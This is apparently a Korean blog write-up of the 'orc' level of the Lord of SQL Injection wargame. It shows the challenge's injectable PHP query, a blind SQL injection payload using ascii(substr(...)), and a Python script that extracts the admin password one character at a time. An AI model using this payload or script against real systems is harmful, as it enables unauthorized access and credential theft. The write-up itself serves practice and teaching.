WARGAME/Lord of sql injection

LORD OF SQL INJECTION ORC 풀이

msh1307 2022. 5. 12. 22:49

소스코드



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>
cs

풀이


5번째 줄에서.이나 _같은 문자들을 정규표현식으로 필터링을 해준다. 필터링에 걸리면 No Hack을 출력하고 exit 된다.

6번째 줄에서 pw를 get을 통해 파라미터로 받아주고 query에 DB에 질의할 쿼리문이 저장되어있는 것을 확인할 수 있다.

만약 질의해서 db에서 반환한 결과 중 id가 있으면 Hello admin을 출력함으로써, 조건문의 참 거짓을 판별할 수 있다.

여기서 문제를 풀기 위해서는 따로 db의 pw와 파라미터로 넘겨준 pw가 같아야 문제가 풀린다.

id는 admin으로 고정되어있다.

 

문제에 제시되어 있는 쿼리문을 보면 select id from prob_orc where id = 'admin' and pw = ' ' 인 것을 확인해 줄 수 있다. 여기서 substr과 ascii라는 함수를 통해서 blind sql injection을 시도했다. mysql의 인덱스는 1부터 시작해서 for문을 1부터 돌려줬다. substr(pw, 인덱스, 길이)를 통해서 db의 pw의 인덱스부터 길이만큼 긁어왔고, ascii를 통해서 아스키코드로 바꾸어 주었다. 결과적으로는 select id from prob_orc where id = 'admin' and pw '' or ascii(substr(pw, 인덱스, 1))=아스키 값 and id = 'admin' --라는 쿼리문이 완성이 된다. 이를 통해서 admin의 pw의 자리를 하나씩 가져와서 아스키 값 비교를 통해서 비밀번호를 알아낼 수 있다. %27은 따옴표가 url encode 된 것이고 -- 주석처리 뒤에 띄어쓰기를 해줘야 했기 때문에 %20을 통해 공백 문자를 넣어줬다.

 

직접 requests 모듈을 사용해서 작성한 코드이다. PHPSESSID가 있어야 requests.get이 제대로 동작해줘서 따로 쿠키를 넣어줬고 비밀번호를 15자리 정도로 잡아주고 영문자와 숫자를 대입하도록 시켰다.

마지막으로 배열에 비밀번호를 넣어줘서 출력시켰다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
from time import sleep
url ='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=';
pos = 1;
pw=[];
pwd = 0;
query = '';
cookie = {'PHPSESSID' : 'e48f7iso8r1i0f467ti4r2dfr9'};
for j in range(15):
    pos =j+1;
    sleep(1);
    for i in range(48,58):
        pwd = i;
        query = f'%27%20or%20ascii(substr(pw,{pos},1))={pwd}%20and%20id=%27admin%27--%20';
        re = requests.get(url+query,cookies=cookie);
        print(f'query : {query}');
        if(re.text.find('Hello admin')!=-1):
            print(f'found '+chr(pwd)+'\n');
            pw.append(chr(pwd));
            break;
    for i in range(65,91):
        pwd = i;
        query = f'%27%20or%20ascii(substr(pw,{pos},1))={pwd}%20and%20id=%27admin%27--%20';
        re = requests.get(url+query,cookies=cookie);
        print(f'query : {query}');
        if(re.text.find('Hello admin')!=-1):
            print(f'found '+chr(pwd)+'\n');
            pw.append(chr(pwd));
            break;
    for i in range(97,123):
        pwd = i;
        query = f'%27%20or%20ascii(substr(pw,{pos},1))={pwd}%20and%20id=%27admin%27--%20';
        re = requests.get(url+query,cookies=cookie);
        print(f'query : {query}');
        if(re.text.find('Hello admin')!=-1):
            print(f'found '+chr(pwd)+'\n');
            pw.append(chr(pwd));
            break;
print(pw);
 
 
cs

이런 식으로 돌아가면서 조건에 맞다면 found가 출력이 되는 것을 확인할 수 있다.

비밀번호가 나왔으니 그대로 보내주면

풀린다.